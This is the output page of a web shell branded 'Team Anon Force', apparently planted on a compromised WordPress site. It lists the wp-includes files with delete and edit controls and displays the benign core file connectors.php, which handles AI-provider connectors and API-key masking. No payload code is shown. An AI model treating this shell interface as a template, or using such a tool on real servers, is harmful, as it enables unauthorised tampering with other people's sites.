-= Team Anon Force =-
Uname:
Perm: -rw-r--r--
/
home
/
ogbpffv
/
www
/
atpr
/
wp-includes
/
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
PHPMailer
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
abilities-api
--
NONE
ai-client
--
NONE
assets
--
NONE
block-bindings
--
NONE
block-patterns
--
NONE
block-supports
--
NONE
blocks
--
NONE
build
--
NONE
certificates
--
NONE
collaboration
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
html-api
--
NONE
images
--
NONE
interactivity-api
--
NONE
js
--
NONE
l10n
--
NONE
php-ai-client
--
NONE
php-compat
--
NONE
pomo
--
NONE
rest-api
--
NONE
sitemaps
--
NONE
sodium_compat
--
NONE
style-engine
--
NONE
theme-compat
--
NONE
widgets
--
NONE
abilities-api.php
23.798KB
Delete
Edit
abilities.php
7.821KB
Delete
Edit
admin-bar.php
38.394KB
Delete
Edit
ai-client.php
2.489KB
Delete
Edit
atomlib.php
11.896KB
Delete
Edit
author-template.php
19.379KB
Delete
Edit
block-bindings.php
7.35KB
Delete
Edit
block-editor.php
28.051KB
Delete
Edit
block-i18n.json
0.309KB
Delete
Edit
block-template-utils.php
61.332KB
Delete
Edit
block-template.php
17.833KB
Delete
Edit
blocks.php
116.643KB
Delete
Edit
bookmark-template.php
12.469KB
Delete
Edit
bookmark.php
15.065KB
Delete
Edit
cache-compat.php
10.763KB
Delete
Edit
cache.php
13.17KB
Delete
Edit
canonical.php
33.833KB
Delete
Edit
capabilities.php
42.61KB
Delete
Edit
category-template.php
55.649KB
Delete
Edit
category.php
12.533KB
Delete
Edit
class-avif-info.php
29.305KB
Delete
Edit
class-feed.php
0.526KB
Delete
Edit
class-http.php
0.358KB
Delete
Edit
class-phpass.php
6.612KB
Delete
Edit
class-phpmailer.php
0.648KB
Delete
Edit
class-pop3.php
20.626KB
Delete
Edit
class-requests.php
2.185KB
Delete
Edit
class-simplepie.php
0.442KB
Delete
Edit
class-smtp.php
0.446KB
Delete
Edit
class-snoopy.php
36.831KB
Delete
Edit
class-walker-category-dropdown.php
2.411KB
Delete
Edit
class-walker-category.php
8.278KB
Delete
Edit
class-walker-nav-menu.php
11.762KB
Delete
Edit
class-walker-page-dropdown.php
2.646KB
Delete
Edit
class-walker-page.php
7.434KB
Delete
Edit
class-wp-admin-bar.php
17.582KB
Delete
Edit
class-wp-ajax-response.php
5.143KB
Delete
Edit
class-wp-application-passwords.php
16.698KB
Delete
Edit
class-wp-block-bindings-registry.php
8.069KB
Delete
Edit
class-wp-block-bindings-source.php
2.922KB
Delete
Edit
class-wp-block-editor-context.php
1.318KB
Delete
Edit
class-wp-block-list.php
4.603KB
Delete
Edit
class-wp-block-metadata-registry.php
11.568KB
Delete
Edit
class-wp-block-parser-block.php
2.495KB
Delete
Edit
class-wp-block-parser-frame.php
1.947KB
Delete
Edit
class-wp-block-parser.php
11.25KB
Delete
Edit
class-wp-block-pattern-categories-registry.php
4.28KB
Delete
Edit
class-wp-block-patterns-registry.php
10.07KB
Delete
Edit
class-wp-block-processor.php
68.319KB
Delete
Edit
class-wp-block-styles-registry.php
6.269KB
Delete
Edit
class-wp-block-supports.php
6.397KB
Delete
Edit
class-wp-block-template.php
1.985KB
Delete
Edit
class-wp-block-templates-registry.php
6.914KB
Delete
Edit
class-wp-block-type-registry.php
4.912KB
Delete
Edit
class-wp-block-type.php
16.829KB
Delete
Edit
class-wp-block.php
24.141KB
Delete
Edit
class-wp-classic-to-block-menu-converter.php
3.932KB
Delete
Edit
class-wp-connector-registry.php
14.071KB
Delete
Edit
class-wp-customize-manager.php
198.126KB
Delete
Edit
class-wp-customize-nav-menus.php
56.609KB
Delete
Edit
class-wp-customize-panel.php
10.459KB
Delete
Edit
class-wp-customize-section.php
10.946KB
Delete
Edit
class-wp-customize-setting.php
29.261KB
Delete
Edit
class-wp-date-query.php
35.127KB
Delete
Edit
class-wp-dependencies.php
16.688KB
Delete
Edit
class-wp-dependency.php
2.591KB
Delete
Edit
class-wp-duotone.php
39.951KB
Delete
Edit
class-wp-editor.php
70.535KB
Delete
Edit
class-wp-embed.php
15.535KB
Delete
Edit
class-wp-error.php
7.326KB
Delete
Edit
class-wp-fatal-error-handler.php
7.959KB
Delete
Edit
class-wp-feed-cache-transient.php
3.227KB
Delete
Edit
class-wp-feed-cache.php
0.946KB
Delete
Edit
class-wp-hook.php
16.246KB
Delete
Edit
class-wp-http-cookie.php
7.099KB
Delete
Edit
class-wp-http-curl.php
12.95KB
Delete
Edit
class-wp-http-encoding.php
6.532KB
Delete
Edit
class-wp-http-ixr-client.php
3.434KB
Delete
Edit
class-wp-http-proxy.php
5.84KB
Delete
Edit
class-wp-http-requests-hooks.php
1.975KB
Delete
Edit
class-wp-http-requests-response.php
4.144KB
Delete
Edit
class-wp-http-response.php
2.907KB
Delete
Edit
class-wp-http-streams.php
16.371KB
Delete
Edit
class-wp-http.php
40.672KB
Delete
Edit
class-wp-icons-registry.php
7.673KB
Delete
Edit
class-wp-image-editor-gd.php
20.22KB
Delete
Edit
class-wp-image-editor-imagick.php
36.11KB
Delete
Edit
class-wp-image-editor.php
17.01KB
Delete
Edit
class-wp-list-util.php
7.269KB
Delete
Edit
class-wp-locale-switcher.php
6.617KB
Delete
Edit
class-wp-locale.php
16.453KB
Delete
Edit
class-wp-matchesmapregex.php
1.785KB
Delete
Edit
class-wp-meta-query.php
29.792KB
Delete
Edit
class-wp-metadata-lazyloader.php
6.673KB
Delete
Edit
class-wp-navigation-fallback.php
8.978KB
Delete
Edit
class-wp-object-cache.php
17.113KB
Delete
Edit
class-wp-oembed-controller.php
6.743KB
Delete
Edit
class-wp-oembed.php
30.862KB
Delete
Edit
class-wp-paused-extensions-storage.php
4.948KB
Delete
Edit
class-wp-plugin-dependencies.php
24.592KB
Delete
Edit
class-wp-post.php
6.331KB
Delete
Edit
class-wp-query.php
159.503KB
Delete
Edit
class-wp-recovery-mode-cookie-service.php
6.716KB
Delete
Edit
class-wp-recovery-mode-email-service.php
10.904KB
Delete
Edit
class-wp-recovery-mode-key-service.php
4.799KB
Delete
Edit
class-wp-recovery-mode-link-service.php
3.44KB
Delete
Edit
class-wp-recovery-mode.php
11.185KB
Delete
Edit
class-wp-rewrite.php
62.2KB
Delete
Edit
class-wp-role.php
2.464KB
Delete
Edit
class-wp-roles.php
9.103KB
Delete
Edit
class-wp-script-modules.php
39.647KB
Delete
Edit
class-wp-scripts.php
35.927KB
Delete
Edit
class-wp-session-tokens.php
7.147KB
Delete
Edit
class-wp-simplepie-file.php
3.469KB
Delete
Edit
class-wp-simplepie-sanitize-kses.php
1.865KB
Delete
Edit
class-wp-site-query.php
30.744KB
Delete
Edit
class-wp-site.php
7.284KB
Delete
Edit
class-wp-speculation-rules.php
7.377KB
Delete
Edit
class-wp-styles.php
13.043KB
Delete
Edit
class-wp-tax-query.php
19.118KB
Delete
Edit
class-wp-taxonomy.php
18.124KB
Delete
Edit
class-wp-term-query.php
39.796KB
Delete
Edit
class-wp-term.php
5.14KB
Delete
Edit
class-wp-text-diff-renderer-inline.php
0.956KB
Delete
Edit
class-wp-text-diff-renderer-table.php
18.488KB
Delete
Edit
class-wp-textdomain-registry.php
10.235KB
Delete
Edit
class-wp-theme-json-data.php
1.767KB
Delete
Edit
class-wp-theme-json-resolver.php
34.855KB
Delete
Edit
class-wp-theme-json-schema.php
7.194KB
Delete
Edit
class-wp-theme-json.php
169.569KB
Delete
Edit
class-wp-theme.php
64.22KB
Delete
Edit
class-wp-token-map.php
27.947KB
Delete
Edit
class-wp-url-pattern-prefixer.php
4.689KB
Delete
Edit
class-wp-user-meta-session-tokens.php
2.885KB
Delete
Edit
class-wp-user-query.php
43.068KB
Delete
Edit
class-wp-user-request.php
2.251KB
Delete
Edit
class-wp-user.php
22.477KB
Delete
Edit
class-wp-walker.php
13.01KB
Delete
Edit
class-wp-widget-factory.php
3.269KB
Delete
Edit
class-wp-xmlrpc-server.php
209.98KB
Delete
Edit
class-wp.php
25.753KB
Delete
Edit
class.wp-dependencies.php
0.364KB
Delete
Edit
class.wp-scripts.php
0.335KB
Delete
Edit
class.wp-styles.php
0.33KB
Delete
Edit
collaboration.php
2.107KB
Delete
Edit
comment-template.php
100.792KB
Delete
Edit
compat-utf8.php
19.096KB
Delete
Edit
compat.php
15.687KB
Delete
Edit
connectors.php
23.516KB
Delete
Edit
cron.php
43.941KB
Delete
Edit
date.php
0.391KB
Delete
Edit
default-constants.php
11.099KB
Delete
Edit
default-filters.php
36.54KB
Delete
Edit
default-widgets.php
2.241KB
Delete
Edit
deprecated.php
189.431KB
Delete
Edit
embed.php
37.994KB
Delete
Edit
feed-atom-comments.php
5.375KB
Delete
Edit
feed-atom.php
3.048KB
Delete
Edit
feed-rdf.php
2.605KB
Delete
Edit
feed-rss.php
1.161KB
Delete
Edit
feed-rss2-comments.php
4.039KB
Delete
Edit
feed-rss2.php
3.71KB
Delete
Edit
feed.php
24.599KB
Delete
Edit
fonts.php
9.561KB
Delete
Edit
formatting.php
346.377KB
Delete
Edit
functions.php
283.521KB
Delete
Edit
functions.wp-scripts.php
20.012KB
Delete
Edit
functions.wp-styles.php
8.451KB
Delete
Edit
general-template.php
170.834KB
Delete
Edit
global-styles-and-settings.php
20.293KB
Delete
Edit
http.php
26.616KB
Delete
Edit
https-detection.php
5.72KB
Delete
Edit
https-migration.php
4.63KB
Delete
Edit
kses.php
80.645KB
Delete
Edit
l10n.php
69.741KB
Delete
Edit
link-template.php
156.394KB
Delete
Edit
load.php
55.151KB
Delete
Edit
locale.php
0.158KB
Delete
Edit
media-template.php
61.792KB
Delete
Edit
media.php
218.549KB
Delete
Edit
meta.php
65.175KB
Delete
Edit
ms-blogs.php
25.714KB
Delete
Edit
ms-default-constants.php
4.806KB
Delete
Edit
ms-default-filters.php
6.48KB
Delete
Edit
ms-deprecated.php
21.24KB
Delete
Edit
ms-files.php
2.79KB
Delete
Edit
ms-functions.php
89.689KB
Delete
Edit
ms-load.php
19.568KB
Delete
Edit
ms-network.php
3.693KB
Delete
Edit
ms-settings.php
4.105KB
Delete
Edit
ms-site.php
40.751KB
Delete
Edit
nav-menu-template.php
25.381KB
Delete
Edit
nav-menu.php
43.231KB
Delete
Edit
option.php
102.616KB
Delete
Edit
pluggable-deprecated.php
6.176KB
Delete
Edit
pluggable.php
124.568KB
Delete
Edit
plugin.php
35.646KB
Delete
Edit
post-formats.php
6.904KB
Delete
Edit
post-template.php
67.007KB
Delete
Edit
post-thumbnail-template.php
10.624KB
Delete
Edit
query.php
36.226KB
Delete
Edit
registration-functions.php
0.195KB
Delete
Edit
registration.php
0.195KB
Delete
Edit
revision.php
29.992KB
Delete
Edit
rewrite.php
19.005KB
Delete
Edit
robots-template.php
5.063KB
Delete
Edit
rss-functions.php
0.249KB
Delete
Edit
rss.php
22.659KB
Delete
Edit
script-loader.php
159.303KB
Delete
Edit
script-modules.php
11.663KB
Delete
Edit
sitemaps.php
3.162KB
Delete
Edit
speculative-loading.php
8.398KB
Delete
Edit
spl-autoload-compat.php
0.431KB
Delete
Edit
style-engine.php
7.386KB
Delete
Edit
taxonomy.php
172.992KB
Delete
Edit
template-canvas.php
0.531KB
Delete
Edit
template-loader.php
4.167KB
Delete
Edit
template.php
35.961KB
Delete
Edit
theme-i18n.json
1.848KB
Delete
Edit
theme-templates.php
3.965KB
Delete
Edit
theme.json
8.825KB
Delete
Edit
theme.php
131.476KB
Delete
Edit
update.php
37.379KB
Delete
Edit
user.php
174.633KB
Delete
Edit
utf8.php
7.09KB
Delete
Edit
vars.php
6.452KB
Delete
Edit
version.php
1.104KB
Delete
Edit
view-transitions.php
0.588KB
Delete
Edit
wp-db.php
0.435KB
Delete
Edit
wp-diff.php
0.78KB
Delete
Edit
<=Back
<?php /** * Connectors API. * * @package WordPress * @subpackage Connectors * @since 7.0.0 */ use WordPress\AiClient\AiClient; use WordPress\AiClient\Providers\Http\DTO\ApiKeyRequestAuthentication; /** * Checks if a connector is registered. * * @since 7.0.0 * * @see WP_Connector_Registry::is_registered() * * @param string $id The connector identifier. * @return bool True if the connector is registered, false otherwise. */ function wp_is_connector_registered( string $id ): bool { $registry = WP_Connector_Registry::get_instance(); if ( null === $registry ) { return false; } return $registry->is_registered( $id ); } /** * Retrieves a registered connector. * * @since 7.0.0 * * @see WP_Connector_Registry::get_registered() * * @param string $id The connector identifier. * @return array|null { * Connector data, or null if not registered. * * @type string $name The connector's display name. * @type string $description The connector's description. * @type string $logo_url Optional. URL to the connector's logo image. * @type string $type The connector type, e.g. 'ai_provider'. * @type array $authentication { * Authentication configuration. When method is 'api_key', includes * credentials_url, setting_name, and optionally constant_name and * env_var_name. When 'none', only method is present. * * @type string $method The authentication method: 'api_key' or 'none'. * @type string $credentials_url Optional. URL where users can obtain API credentials. * @type string $setting_name Optional. The setting name for the API key. * @type string $constant_name Optional. PHP constant name for the API key. * @type string $env_var_name Optional. Environment variable name for the API key. * } * @type array $plugin { * Optional. Plugin data for install/activate UI. * * @type string $file The plugin's main file path relative to the plugins * directory (e.g. 'my-plugin/my-plugin.php' or 'hello.php'). * @type callable $is_active Callback to determine whether the plugin is active. Receives no arguments and must return bool. * Defaults to `__return_true`. * } * } * @phpstan-return ?array{ * name: non-empty-string, * description: string, * logo_url?: non-empty-string, * type: non-empty-string, * authentication: array{ * method: 'api_key'|'none', * credentials_url?: non-empty-string, * setting_name?: non-empty-string, * constant_name?: non-empty-string, * env_var_name?: non-empty-string * }, * plugin: array{ * file?: non-empty-string, * is_active: callable(): bool, * } * } */ function wp_get_connector( string $id ): ?array { $registry = WP_Connector_Registry::get_instance(); if ( null === $registry ) { return null; } return $registry->get_registered( $id ); } /** * Retrieves all registered connectors. * * @since 7.0.0 * * @see WP_Connector_Registry::get_all_registered() * * @return array { * Connector settings keyed by connector ID. * * @type array ...$0 { * Data for a single connector. * * @type string $name The connector's display name. * @type string $description The connector's description. * @type string $logo_url Optional. URL to the connector's logo image. * @type string $type The connector type, e.g. 'ai_provider'. * @type array $authentication { * Authentication configuration. When method is 'api_key', includes * credentials_url, setting_name, and optionally constant_name and * env_var_name. When 'none', only method is present. * * @type string $method The authentication method: 'api_key' or 'none'. * @type string $credentials_url Optional. URL where users can obtain API credentials. * @type string $setting_name Optional. The setting name for the API key. * @type string $constant_name Optional. PHP constant name for the API key. * @type string $env_var_name Optional. Environment variable name for the API key. * } * @type array $plugin { * Optional. Plugin data for install/activate UI. * * @type string $file The plugin's main file path relative to the plugins * directory (e.g. 'my-plugin/my-plugin.php' or 'hello.php'). * @type callable $is_active Callback to determine whether the plugin is active. Receives no arguments and must return bool. * Defaults to `__return_true`. * } * } * } * @phpstan-return array<string, array{ * name: non-empty-string, * description: string, * logo_url?: non-empty-string, * type: non-empty-string, * authentication: array{ * method: 'api_key'|'none', * credentials_url?: non-empty-string, * setting_name?: non-empty-string, * constant_name?: non-empty-string, * env_var_name?: non-empty-string * }, * plugin: array{ * file?: non-empty-string, * is_active: callable(): bool, * } * }> */ function wp_get_connectors(): array { $registry = WP_Connector_Registry::get_instance(); if ( null === $registry ) { return array(); } return $registry->get_all_registered(); } /** * Resolves an AI provider logo file path to a URL. * * Converts an absolute file path to a plugin URL. The path must reside within * the plugins or must-use plugins directory. * * @since 7.0.0 * @access private * * @param string $path Absolute path to the logo file. * @return non-empty-string|null The URL to the logo file, or null if the path is invalid. */ function _wp_connectors_resolve_ai_provider_logo_url( string $path ): ?string { if ( ! $path ) { return null; } $path = wp_normalize_path( $path ); if ( ! file_exists( $path ) ) { return null; } $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); if ( str_starts_with( $path, $mu_plugin_dir . '/' ) ) { $logo_url = plugins_url( substr( $path, strlen( $mu_plugin_dir ) ), WPMU_PLUGIN_DIR . '/.' ); return $logo_url ? $logo_url : null; } $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); if ( str_starts_with( $path, $plugin_dir . '/' ) ) { $logo_url = plugins_url( substr( $path, strlen( $plugin_dir ) ) ); return $logo_url ? $logo_url : null; } _doing_it_wrong( __FUNCTION__, __( 'Provider logo path must be located within the plugins or must-use plugins directory.' ), '7.0.0' ); return null; } /** * Initializes the connector registry with default connectors and fires the registration action. * * Creates the registry instance, registers built-in connectors (which cannot be unhooked), * and then fires the `wp_connectors_init` action for plugins to register their own connectors. * * @since 7.0.0 * @access private */ function _wp_connectors_init(): void { $registry = new WP_Connector_Registry(); WP_Connector_Registry::set_instance( $registry ); // Only register default AI providers if AI support is enabled. if ( wp_supports_ai() ) { _wp_connectors_register_default_ai_providers( $registry ); } // Non-AI default connectors. $registry->register( 'akismet', array( 'name' => __( 'Akismet Anti-spam' ), 'description' => __( 'Protect your site from spam.' ), 'type' => 'spam_filtering', 'plugin' => array( 'file' => 'akismet/akismet.php', 'is_active' => static function () { return defined( 'AKISMET_VERSION' ); }, ), 'authentication' => array( 'method' => 'api_key', 'credentials_url' => 'https://akismet.com/get/', 'setting_name' => 'wordpress_api_key', 'constant_name' => 'WPCOM_API_KEY', ), ) ); /** * Fires when the connector registry is ready for plugins to register connectors. * * Built-in connectors and any AI providers auto-discovered from the WP AI Client * registry have already been registered at this point and cannot be unhooked. * * AI provider plugins that register with the WP AI Client do not need to use * this action — their connectors are created automatically. This action is * primarily for registering non-AI-provider connectors or overriding metadata * on existing connectors. * * Use `$registry->register()` within this action to add new connectors. * To override an existing connector, unregister it first, then re-register * with updated data. * * Example — overriding metadata on an auto-discovered connector: * * add_action( 'wp_connectors_init', function ( WP_Connector_Registry $registry ) { * if ( $registry->is_registered( 'anthropic' ) ) { * $connector = $registry->unregister( 'anthropic' ); * $connector['description'] = __( 'Custom description for Anthropic.', 'my-plugin' ); * $registry->register( 'anthropic', $connector ); * } * } ); * * @since 7.0.0 * * @param WP_Connector_Registry $registry Connector registry instance. */ do_action( 'wp_connectors_init', $registry ); } /** * Registers connectors for the built-in AI providers. * * @since 7.0.0 * @access private * * @param WP_Connector_Registry $registry The connector registry instance. */ function _wp_connectors_register_default_ai_providers( WP_Connector_Registry $registry ): void { // Built-in connectors. $defaults = array( 'anthropic' => array( 'name' => 'Anthropic', 'description' => __( 'Text generation with Claude.' ), 'type' => 'ai_provider', 'plugin' => array( 'file' => 'ai-provider-for-anthropic/plugin.php', ), 'authentication' => array( 'method' => 'api_key', 'credentials_url' => 'https://platform.claude.com/settings/keys', ), ), 'google' => array( 'name' => 'Google', 'description' => __( 'Text and image generation with Gemini and Imagen.' ), 'type' => 'ai_provider', 'plugin' => array( 'file' => 'ai-provider-for-google/plugin.php', ), 'authentication' => array( 'method' => 'api_key', 'credentials_url' => 'https://aistudio.google.com/api-keys', ), ), 'openai' => array( 'name' => 'OpenAI', 'description' => __( 'Text and image generation with GPT and Dall-E.' ), 'type' => 'ai_provider', 'plugin' => array( 'file' => 'ai-provider-for-openai/plugin.php', ), 'authentication' => array( 'method' => 'api_key', 'credentials_url' => 'https://platform.openai.com/api-keys', ), ), ); // Merge AI Client registry data on top of defaults. // Registry values (from provider plugins) take precedence over hardcoded fallbacks. $ai_registry = AiClient::defaultRegistry(); foreach ( array_filter( $ai_registry->getRegisteredProviderIds() ) as $connector_id ) { $provider_class_name = $ai_registry->getProviderClassName( $connector_id ); $provider_metadata = $provider_class_name::metadata(); $auth_method = $provider_metadata->getAuthenticationMethod(); $is_api_key = null !== $auth_method && $auth_method->isApiKey(); if ( $is_api_key ) { $credentials_url = $provider_metadata->getCredentialsUrl(); $authentication = array( 'method' => 'api_key', ); if ( $credentials_url ) { $authentication['credentials_url'] = $credentials_url; } } else { $authentication = array( 'method' => 'none' ); } $name = $provider_metadata->getName(); $description = $provider_metadata->getDescription(); $logo_url = $provider_metadata->getLogoPath() ? _wp_connectors_resolve_ai_provider_logo_url( $provider_metadata->getLogoPath() ) : null; if ( isset( $defaults[ $connector_id ] ) ) { // Override fields with non-empty registry values. if ( $name ) { $defaults[ $connector_id ]['name'] = $name; } if ( $description ) { $defaults[ $connector_id ]['description'] = $description; } if ( $logo_url ) { $defaults[ $connector_id ]['logo_url'] = $logo_url; } // Always update auth method; keep existing credentials_url as fallback. $defaults[ $connector_id ]['authentication']['method'] = $authentication['method']; if ( ! empty( $authentication['credentials_url'] ) ) { $defaults[ $connector_id ]['authentication']['credentials_url'] = $authentication['credentials_url']; } } else { $defaults[ $connector_id ] = array( 'name' => $name ? $name : ucwords( $connector_id ), 'description' => $description ? $description : '', 'type' => 'ai_provider', 'authentication' => $authentication, ); if ( $logo_url ) { $defaults[ $connector_id ]['logo_url'] = $logo_url; } } } // Register all default connectors directly on the registry. foreach ( $defaults as $id => $args ) { if ( 'api_key' === $args['authentication']['method'] ) { $sanitized_id = str_replace( '-', '_', $id ); $args['authentication']['setting_name'] = "connectors_ai_{$sanitized_id}_api_key"; // All AI providers use the {CONSTANT_CASE_ID}_API_KEY naming convention. $constant_case_key = strtoupper( (string) preg_replace( '/([a-z])([A-Z])/', '$1_$2', $sanitized_id ) ) . '_API_KEY'; $args['authentication']['constant_name'] = $constant_case_key; $args['authentication']['env_var_name'] = $constant_case_key; } $args['plugin']['is_active'] = static function () use ( $ai_registry, $id ): bool { try { return $ai_registry->hasProvider( $id ); } catch ( Exception $e ) { return false; } }; $registry->register( $id, $args ); } } /** * Masks an API key, showing only the last 4 characters. * * @since 7.0.0 * @access private * * @param string $key The API key to mask. * @return string The masked key, e.g. "************fj39". */ function _wp_connectors_mask_api_key( string $key ): string { if ( strlen( $key ) <= 4 ) { return $key; } return str_repeat( "\u{2022}", min( strlen( $key ) - 4, 16 ) ) . substr( $key, -4 ); } /** * Determines the source of an API key for a given connector. * * Checks in order: environment variable, PHP constant, database. * Environment variable and constant are only checked when their * respective names are provided. * * @since 7.0.0 * @access private * * @param string $setting_name The option name for the API key (e.g., 'connectors_spam_filtering_my_plugin_api_key'). * @param string $env_var_name Optional. Environment variable name to check (e.g., 'MY_PLUGIN_API_KEY'). * @param string $constant_name Optional. PHP constant name to check (e.g., 'MY_PLUGIN_API_KEY'). * @return string The key source: 'env', 'constant', 'database', or 'none'. */ function _wp_connectors_get_api_key_source( string $setting_name, string $env_var_name = '', string $constant_name = '' ): string { // Check environment variable first. if ( '' !== $env_var_name ) { $env_value = getenv( $env_var_name ); if ( false !== $env_value && '' !== $env_value ) { return 'env'; } } // Check PHP constant. if ( '' !== $constant_name && defined( $constant_name ) ) { $const_value = constant( $constant_name ); if ( is_string( $const_value ) && '' !== $const_value ) { return 'constant'; } } // Check database. $db_value = get_option( $setting_name, '' ); if ( '' !== $db_value ) { return 'database'; } return 'none'; } /** * Checks whether an API key is valid for a given provider. * * @since 7.0.0 * @access private * * @param string $key The API key to check. * @param string $provider_id The WP AI client provider ID. * @return bool|null True if valid, false if invalid, null if unable to determine. */ function _wp_connectors_is_ai_api_key_valid( string $key, string $provider_id ): ?bool { try { $registry = AiClient::defaultRegistry(); if ( ! $registry->hasProvider( $provider_id ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: AI provider ID. */ __( 'The provider "%s" is not registered in the AI client registry.' ), $provider_id ), '7.0.0' ); return null; } $registry->setProviderRequestAuthentication( $provider_id, new ApiKeyRequestAuthentication( $key ) ); return $registry->isProviderConfigured( $provider_id ); } catch ( Exception $e ) { wp_trigger_error( __FUNCTION__, $e->getMessage() ); return null; } } /** * Masks and validates connector API keys in REST responses. * * On every `/wp/v2/settings` response, masks connector API key values so raw * keys are never exposed via the REST API. * * On POST or PUT requests, validates each updated key against the provider * before masking. If validation fails, the key is reverted to an empty string. * * @since 7.0.0 * @access private * * @param WP_REST_Response $response The response object. * @param WP_REST_Server $server The server instance. * @param WP_REST_Request $request The request object. * @return WP_REST_Response The modified response with masked/validated keys. */ function _wp_connectors_rest_settings_dispatch( WP_REST_Response $response, WP_REST_Server $server, WP_REST_Request $request ): WP_REST_Response { if ( '/wp/v2/settings' !== $request->get_route() ) { return $response; } $data = $response->get_data(); if ( ! is_array( $data ) ) { return $response; } $is_update = 'POST' === $request->get_method() || 'PUT' === $request->get_method(); foreach ( wp_get_connectors() as $connector_id => $connector_data ) { $auth = $connector_data['authentication']; if ( 'api_key' !== $auth['method'] || empty( $auth['setting_name'] ) ) { continue; } $setting_name = $auth['setting_name']; if ( ! array_key_exists( $setting_name, $data ) ) { continue; } $value = $data[ $setting_name ]; // On update, validate AI provider keys before masking. // Non-AI connectors accept keys as-is; the service plugin handles its own validation. if ( $is_update && is_string( $value ) && '' !== $value && 'ai_provider' === $connector_data['type'] ) { if ( true !== _wp_connectors_is_ai_api_key_valid( $value, $connector_id ) ) { update_option( $setting_name, '' ); $data[ $setting_name ] = ''; continue; } } // Mask the key in the response. if ( is_string( $value ) && '' !== $value ) { $data[ $setting_name ] = _wp_connectors_mask_api_key( $value ); } } $response->set_data( $data ); return $response; } add_filter( 'rest_post_dispatch', '_wp_connectors_rest_settings_dispatch', 10, 3 ); /** * Registers default connector settings. * * @since 7.0.0 * @access private */ function _wp_register_default_connector_settings(): void { $registered_settings = get_registered_settings(); foreach ( wp_get_connectors() as $connector_data ) { $auth = $connector_data['authentication']; if ( 'api_key' !== $auth['method'] || empty( $auth['setting_name'] ) ) { continue; } // Skip if the setting is already registered (e.g. by an owning plugin). if ( isset( $registered_settings[ $auth['setting_name'] ] ) ) { continue; } if ( ! isset( $connector_data['plugin']['is_active'] ) || ! is_callable( $connector_data['plugin']['is_active'] ) ) { continue; } if ( ! call_user_func( $connector_data['plugin']['is_active'] ) ) { continue; } register_setting( 'connectors', $auth['setting_name'], array( 'type' => 'string', 'label' => sprintf( /* translators: %s: Connector name. */ __( '%s API Key' ), $connector_data['name'] ), 'description' => sprintf( /* translators: %s: Connector name. */ __( 'API key for the %s connector.' ), $connector_data['name'] ), 'default' => '', 'show_in_rest' => true, 'sanitize_callback' => 'sanitize_text_field', ) ); } } add_action( 'init', '_wp_register_default_connector_settings', 20 ); /** * Passes stored connector API keys to the WP AI client. * * @since 7.0.0 * @access private */ function _wp_connectors_pass_default_keys_to_ai_client(): void { try { $ai_registry = AiClient::defaultRegistry(); foreach ( wp_get_connectors() as $connector_id => $connector_data ) { if ( 'ai_provider' !== $connector_data['type'] ) { continue; } $auth = $connector_data['authentication']; if ( 'api_key' !== $auth['method'] || empty( $auth['setting_name'] ) ) { continue; } if ( ! $ai_registry->hasProvider( $connector_id ) ) { continue; } // Skip if the key is already provided via env var or constant. $key_source = _wp_connectors_get_api_key_source( $auth['setting_name'], $auth['env_var_name'] ?? '', $auth['constant_name'] ?? '' ); if ( 'env' === $key_source || 'constant' === $key_source ) { continue; } $api_key = get_option( $auth['setting_name'], '' ); if ( ! is_string( $api_key ) || '' === $api_key ) { continue; } $ai_registry->setProviderRequestAuthentication( $connector_id, new ApiKeyRequestAuthentication( $api_key ) ); } } catch ( Exception $e ) { wp_trigger_error( __FUNCTION__, $e->getMessage() ); } } add_action( 'init', '_wp_connectors_pass_default_keys_to_ai_client', 20 ); /** * Exposes connector settings to the connectors-wp-admin script module. * * @since 7.0.0 * @access private * * @param array<string, mixed> $data Existing script module data. * @return array<string, mixed> Script module data with connectors added. */ function _wp_connectors_get_connector_script_module_data( array $data ): array { $registry = AiClient::defaultRegistry(); if ( ! function_exists( 'validate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $connectors = array(); foreach ( wp_get_connectors() as $connector_id => $connector_data ) { $auth = $connector_data['authentication']; $auth_out = array( 'method' => $auth['method'] ); if ( 'api_key' === $auth['method'] ) { $auth_out['settingName'] = $auth['setting_name'] ?? ''; $auth_out['credentialsUrl'] = $auth['credentials_url'] ?? null; $key_source = _wp_connectors_get_api_key_source( $auth['setting_name'] ?? '', $auth['env_var_name'] ?? '', $auth['constant_name'] ?? '' ); $auth_out['keySource'] = $key_source; if ( 'ai_provider' === $connector_data['type'] ) { try { $auth_out['isConnected'] = $registry->hasProvider( $connector_id ) && $registry->isProviderConfigured( $connector_id ); } catch ( Exception $e ) { $auth_out['isConnected'] = false; } } else { $auth_out['isConnected'] = 'none' !== $key_source; } } $connector_out = array( 'name' => $connector_data['name'], 'description' => $connector_data['description'], 'logoUrl' => ! empty( $connector_data['logo_url'] ) ? $connector_data['logo_url'] : null, 'type' => $connector_data['type'], 'authentication' => $auth_out, ); if ( ! empty( $connector_data['plugin']['file'] ) ) { $file = $connector_data['plugin']['file']; $is_activated = (bool) call_user_func( $connector_data['plugin']['is_active'] ); $is_installed = $is_activated || 0 === validate_plugin( $file ); $connector_out['plugin'] = array( 'file' => $file, 'isInstalled' => $is_installed, 'isActivated' => $is_activated, ); } $connectors[ $connector_id ] = $connector_out; } ksort( $connectors ); $data['connectors'] = $connectors; $data['isFileModDisabled'] = ! wp_is_file_mod_allowed( 'install_plugins' ); return $data; } add_filter( 'script_module_data_options-connectors-wp-admin', '_wp_connectors_get_connector_script_module_data' );
Liking